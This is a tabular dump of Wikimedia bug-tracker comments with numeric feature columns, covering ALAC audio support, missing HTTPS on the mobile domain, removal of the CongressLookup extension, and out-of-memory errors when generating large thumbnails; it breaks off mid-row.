159738,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),Kelson: How is ALAC related to FLAC? Also see comment 2.,,,1372671034,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,36.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,21.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,Kelson: How is ALAC related to FLAC? Also see comment 2.
159729,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),Duplicate? https://bugzilla.wikimedia.org/show_bug.cgi?id=49505,,,1372665432,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Duplicate? URL
159719,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),Not sure right now but I think we already have support for FLAC. Just because there is another OpenSource Codec for lossless audio storage it does not mean we have to implement it.,,,1354727117,,PHID-USER-yhujnd4weqzxkjnpve64,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,17.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,14.0,11.0,6.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.228571428571429,0.8571428571428571,Not sure right now but I think we already have support for FLAC. Just because there is another OpenSource Codec for lossless audio storage it does not mean we have to implement it.
159714,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),"**jgerber** wrote:

ffmpeg supports decoding alac for some time, so TMH transcoding would work.

To support upload without Firefogg, some way to  detect if a selected .m4a file contains alac or aac would be needed. Could not find an existing implementation.",,,1321703214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-93,True,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.055555555555555,0.8148148148148148,"**jgerber** wrote:

ffmpeg supports decoding alac for some time, so TMH transcoding would work.

To support upload without Firefogg, some way to  detect if a selected .m4a file contains alac or aac would be needed. Could not find an existing implementation."
33333,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,"https://en.m.wikipedia.org/

""Unable to connect

Firefox can't establish a connection to the server at en.m.wikipedia.org.""

*.m.wikipedia.org has its own font-end proxy (mobile-lb) which doesn't appear to handle port 443 for HTTPS.


Note that SSL certs for *.wikipedia.org won't apply to something.m.wikipedia.org as they only apply for that single level of wildcarding. Nice.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.m.wikipedia.org/",Low,25.0,1317673680,1328609900.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_description,resolved,True,c2,1,True,False,True,-100,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,2.0,11.0,5.0,0.0,2.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.051020408163265,0.6326530612244898,"URL

""Unable to connect

Firefox can't establish a connection to the server at en.m.wikipedia.org.""

*.m.wikipedia.org has its own font-end proxy (mobile-lb) which doesn't appear to handle port 443 for HTTPS.


Note that SSL certs for *.wikipedia.org won't apply to something.m.wikipedia.org as they only apply for that single level of wildcarding. Nice.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
150147,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,"https://en.m.wikipedia.org/  works meanwhile. Setting status to ""resolved"".",,,1328609900,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.75,0.8333333333333334,"URL  works meanwhile. Setting status to ""resolved""."
150141,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,*** Bug 31390 has been marked as a duplicate of this bug. ***,,,1317842278,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 31390 has been marked as a duplicate of this bug. ***
150133,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,"(In reply to comment #1)
> As noted in Bug 29896 *.m.wikipedia.org should be going away soon.

Can you provide more details on that? Note that there are iPhone/iPad apps that explicitly link to the m. domain to force 'mobile' rendering, which presumably might be affected by some sort of elimination of the domain.",,,1317751008,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,True,,,-100,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,18.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,7.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,2.0,16.0,4.0,2.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,3.8363636363636364,0.8545454545454545,"(In reply to comment #1)
QUOTE

Can you provide more details on that? Note that there are iPhone/iPad apps that explicitly link to the m. domain to force 'mobile' rendering, which presumably might be affected by some sort of elimination of the domain."
150126,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,As noted in Bug 29896 *.m.wikipedia.org should be going away soon.,,,1317748758,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.3076923076923075,1.0,As noted in Bug 29896 *.m.wikipedia.org should be going away soon.
39363,Uninstall CongressLookup extension from Wikimedia wikis,"According to <https://en.wikipedia.org/wiki/Special:Version>, the CongressLookup extension (<https://www.mediawiki.org/wiki/Extension:CongressLookup>) is currently installed. It's no longer needed, as far as I know, and can safely be uninstalled. God willing it won't ever be needed again.

--------------------------
**Version**: unspecified
**Severity**: minor",Lowest,10.0,1338958860,1339630859.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-umxbxmmbrfy2cddfm264,task_description,resolved,True,c2,1,True,False,True,-64,True,0.0,0.0,0.0,3.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,3.85,0.7166666666666667,"According to <URL the CongressLookup extension (<URL is currently installed. It's no longer needed, as far as I know, and can safely be uninstalled. God willing it won't ever be needed again.

--------------------------
**Version**: unspecified
**Severity**: minor"
180002,Uninstall CongressLookup extension from Wikimedia wikis,"Change has been successfully merged into the git repository and then deployed.

The extension is now removed, according https://en.wikipedia.org/wiki/Special:Version",,,1339630854,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-umxbxmmbrfy2cddfm264,task_subcomment,,True,c2,1,False,,,-63,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.818181818181818,1.0,"Change has been successfully merged into the git repository and then deployed.

The extension is now removed, according URL"
179997,Uninstall CongressLookup extension from Wikimedia wikis,"Adding 'ops' keyword, as there are tables to delete.

Code review: https://gerrit.wikimedia.org/r/#/c/11144/

Tables to remove:
* cl_house
* cl_senate
* cl_zip3
* cl_zip5",,,1339580044,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-umxbxmmbrfy2cddfm264,task_subcomment,,True,c2,1,False,,,-63,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3142857142857145,0.7142857142857143,"Adding 'ops' keyword, as there are tables to delete.

Code review: URL

Tables to remove:
* cl_house
* cl_senate
* cl_zip3
* cl_zip5"
179991,Uninstall CongressLookup extension from Wikimedia wikis,"Adding shell keyword.

Lowest priority, minor importance.",,,1339552806,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-umxbxmmbrfy2cddfm264,task_subcomment,,True,c2,1,False,,,-63,True,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,4.7272727272727275,0.9090909090909091,"Adding shell keyword.

Lowest priority, minor importance."
38166,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"For https://commons.wikimedia.org/wiki/File:Carbon_River_pano_01A.jpg

http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Carbon_River_pano_01A.jpg/6565px-Carbon_River_pano_01A.jpg

Some sort of Guru meditation.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Lowest,10.0,1335143940,1569621040.0,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-2sndzb2ydzwochmrxplf,task_description,duplicate,True,c2,1,False,False,False,-71,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.6129032258064516,"For URL

URL

Some sort of Guru meditation.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
1361244,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"This is same as T200313, closing as duplicate.",,,1569621031,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,True,,,317,True,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.9,0.9,"This is same as T200313, closing as duplicate."
462234,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Logiz_de_la_Lune_Rousse-Affiche1900.jpg/120px-Logiz_de_la_Lune_Rousse-Affiche1900.jpg

```

Error generating thumbnail

There have been too many recent failed attempts (4 or more) to render this thumbnail. Please try again later. 
```",,,1432295639,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.8571428571428572,0.5714285714285714,"URL

``CODE``"
172172,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"Error code 137 = out of memory.

(In reply to Jasper Deng from comment #0)
> http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/
> Carbon_River_pano_01A.jpg/6565px-Carbon_River_pano_01A.jpg
> 
> Some sort of Guru meditation.

What's the use case for generating a 6000px wide thumbnail?

(In reply to earthsound from comment #10)
> I determined that I'd hit bug 17645, saved the file as a baseline optimized
> JPEG rather than progressive and now the thumbnails work. Sorry for the
> noise. 
> 
> Perhaps the images reported in this bug are saved similarly (progressive)?

Yep, that would do it. Progressive images are much more memory intensive to scale.

----
Note: the Carbon river file is a baseline jpeg.

Honestly I don't find it that surprising that it runs out of memory when you try to make a 66 megapixel thumbnail. I feel like this bug should be wontfixed unless people have a compelling reason to need such huge thumbnails.",,,1400351520,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,37,True,0.5,0.0,0.0,0.5,0.5,7.0,1.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,1.5,0.5,3.0,10.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,3.0,2.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.5,0.5,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,4.0,2.0,12.5,2.0,0.0,6.0,0.0,0.0,0.0,1.0,4.5,0.0,2.0,0.0,4.0,10.5,5.0,0.5,0.0,0.0,4.0,0.0,1.0,2.5,0.0,0.5,0.5,0.0,0.0,3.6507246376811593,0.7130434782608696,"Error code 137 = out of memory.

(In reply to Jasper Deng from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

What's the use case for generating a 6000px wide thumbnail?

(In reply to earthsound from comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yep, that would do it. Progressive images are much more memory intensive to scale.

----
Note: the Carbon river file is a baseline jpeg.

Honestly I don't find it that surprising that it runs out of memory when you try to make a 66 megapixel thumbnail. I feel like this bug should be wontfixed unless people have a compelling reason to need such huge thumbnails."
172164,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to earthsound from comment #10)
> Perhaps the images reported in this bug are saved similarly (progressive)?

Ouch. We have lists of progressive images, attachment 11220 and attachment 11500, and you can easily test the cases above with exiftools or whatever. I think we've replaced by bot (most) of the bigger ones, but there may be other factors beyond size that make them fail: in that case, it would be nice to determine what they are, to fix them by bot.
It's also possible that whatever you did (a null ""convert"" run?) fixed *other* things.",,,1393968377,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,True,,,26,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,1.5,0.0,2.0,9.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,1.0,0.0,4.0,1.5,2.0,1.0,1.5,0.0,0.0,0.0,1.0,0.0,2.5,0.0,1.5,0.0,1.0,0.0,1.0,0.0,10.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.0,1.0,1.0,2.0,2.5,3.5,1.0,2.0,5.0,0.0,0.0,0.0,0.5,5.5,0.0,1.5,0.0,7.5,9.0,0.5,1.0,2.0,0.0,7.5,0.0,3.0,1.0,2.0,0.0,0.5,0.5,0.0,3.5640664160401,0.831766917293233,"(In reply to earthsound from comment #10)
QUOTE

Ouch. We have lists of progressive images, attachment 11220 and attachment 11500, and you can easily test the cases above with exiftools or whatever. I think we've replaced by bot (most) of the bigger ones, but there may be other factors beyond size that make them fail: in that case, it would be nice to determine what they are, to fix them by bot.
It's also possible that whatever you did (a null ""convert"" run?) fixed *other* things."
172155,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**earthsound** wrote:

I determined that I'd hit bug 17645, saved the file as a baseline optimized JPEG rather than progressive and now the thumbnails work. Sorry for the noise. 

Perhaps the images reported in this bug are saved similarly (progressive)?",,,1393957092,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,26,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7777777777777778,"**earthsound** wrote:

I determined that I'd hit bug 17645, saved the file as a baseline optimized JPEG rather than progressive and now the thumbnails work. Sorry for the noise. 

Perhaps the images reported in this bug are saved similarly (progressive)?"
172146,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**earthsound** wrote:

I have been seeing this error (as mentioned in comment 8, it's generating ""Error code:137"" now) for this particular image: 

https://commons.wikimedia.org/wiki/File:Aerial_drawing,_1885,_of_Birmingham,_Alabama.jpg

The preview on that page (1280px width) is broken:

https://upload.wikimedia.org/wikipedia/commons/thumb/6/66/Aerial_drawing%2C_1885%2C_of_Birmingham%2C_Alabama.jpg/1280px-Aerial_drawing%2C_1885%2C_of_Birmingham%2C_Alabama.jpg

After a few failed attempts, it will generate this error: ""Error generating thumbnail - There have been too many recent failed attempts (5 or more) to render this thumbnail. Please try again later.""

I have found that any size thumbnail up to a width of 1234px will generate OK, but anything 1235px width or larger fails 100% of the time, even though the full resolution image is OK.",,,1393954894,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,26,True,2.0,0.5,0.0,0.5,0.0,7.0,1.5,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.5,1.0,1.0,3.5,7.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.5,13.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.5,7.0,1.5,2.0,6.5,0.0,0.0,0.0,0.0,3.0,0.5,2.0,0.0,2.0,7.5,0.5,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,1.5,0.0,0.0,3.7164179104477615,0.7537313432835822,"**earthsound** wrote:

I have been seeing this error (as mentioned in comment 8, it's generating ""Error code:137"" now) for this particular image: 

URL

The preview on that page (1280px width) is broken:

URL

After a few failed attempts, it will generate this error: ""Error generating thumbnail - There have been too many recent failed attempts (5 or more) to render this thumbnail. Please try again later.""

I have found that any size thumbnail up to a width of 1234px will generate OK, but anything 1235px width or larger fails 100% of the time, even though the full resolution image is OK."
172140,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"I get ""Error code: 137"" nowadays.",,,1393621965,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,True,,,26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.9,"I get ""Error code: 137"" nowadays."
172137,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to comment #6)
